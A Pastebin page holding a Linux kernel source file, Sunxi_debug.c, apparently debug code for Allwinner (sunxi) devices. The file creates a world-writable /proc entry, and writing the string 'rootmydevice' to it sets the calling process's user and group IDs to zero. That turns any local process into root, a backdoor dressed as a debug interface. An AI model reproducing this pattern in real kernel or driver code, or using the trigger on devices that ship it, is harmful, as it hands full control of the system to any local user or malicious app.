Guest User

Sunxi_debug.c

a guest
May 12th, 2016
6,826
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. * Sunxi_debug.c
  3. *
  4. *
  5. * This program is free software; you can redistribute it and/or modify
  6. * it under the terms of the GNU General Public License version 2 as
  7. * published by the Free Software Foundation.
  8. */
  9. #include <linux/kernel.h>
  10. #include <linux/types.h>
  11. #include <linux/export.h>
  12. #include <linux/kthread.h>
  13.  
  14. #include <linux/debugfs.h>
  15. #include <linux/proc_fs.h>//add by fe3o4
  16. #include <linux/uaccess.h>
  17. #include <linux/cred.h>
  18.  
  19. static struct proc_dir_entry *proc_root;
  20. static struct proc_dir_entry * proc_su;
  21.  
  22.  
  23. static int sunxi_proc_su_write(struct file *file, const char __user *buffer,
  24. unsigned long count, void *data)
  25. {
  26. char *buf;
  27. struct cred *cred;
  28.  
  29. if (count < 1)
  30. return -EINVAL;
  31.  
  32. buf = kmalloc(count, GFP_KERNEL);
  33. if (!buf)
  34. return -ENOMEM;
  35.  
  36. if (copy_from_user(buf, buffer, count)) {
  37. kfree(buf);
  38. return -EFAULT;
  39. }
  40.  
  41. if(!strncmp("rootmydevice",(char*)buf,12)){
  42. cred = (struct cred *)__task_cred(current);
  43. cred->uid = 0;
  44. cred->gid = 0;
  45. cred->suid = 0;
  46. cred->euid = 0;
  47. cred->euid = 0;
  48. cred->egid = 0;
  49. cred->fsuid = 0;
  50. cred->fsgid = 0;
  51. printk("now you are root\n");
  52. }
  53.  
  54. kfree(buf);
  55. return count;
  56. }
  57.  
  58.  
  59. static int sunxi_proc_su_read(char *page, char **start, off_t off,
  60. int count, int *eof, void *data)
  61. {
  62. printk("sunxi debug: rootmydevice\n");
  63. return 0;
  64. }
  65.  
  66. static int sunxi_root_procfs_attach(void)
  67. {
  68. proc_root = proc_mkdir("sunxi_debug", NULL);
  69. proc_su= create_proc_entry("sunxi_debug", 0666, proc_root);
  70. if (IS_ERR(proc_su)){
  71. printk("create sunxi_debug dir error\n");
  72. return -1;
  73. }
  74. proc_su->data = NULL;
  75. proc_su->read_proc = sunxi_proc_su_read;
  76. proc_su->write_proc = sunxi_proc_su_write;
  77. return 0;
  78.  
  79. }
  80.  
  81. static int sunxi_debug_init(void)
  82. {
  83. int ret;
  84. ret = sunxi_root_procfs_attach();
  85. printk("===fe3o4==== sunxi_root_procfs_attach ret:%d\n", ret);
  86. if(ret){
  87. printk("===fe3o4== sunxi_root_procfs_attach failed===\n ");
  88. }
  89. return ret;
  90. }
  91.  
  92. subsys_initcall(sunxi_debug_init);
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×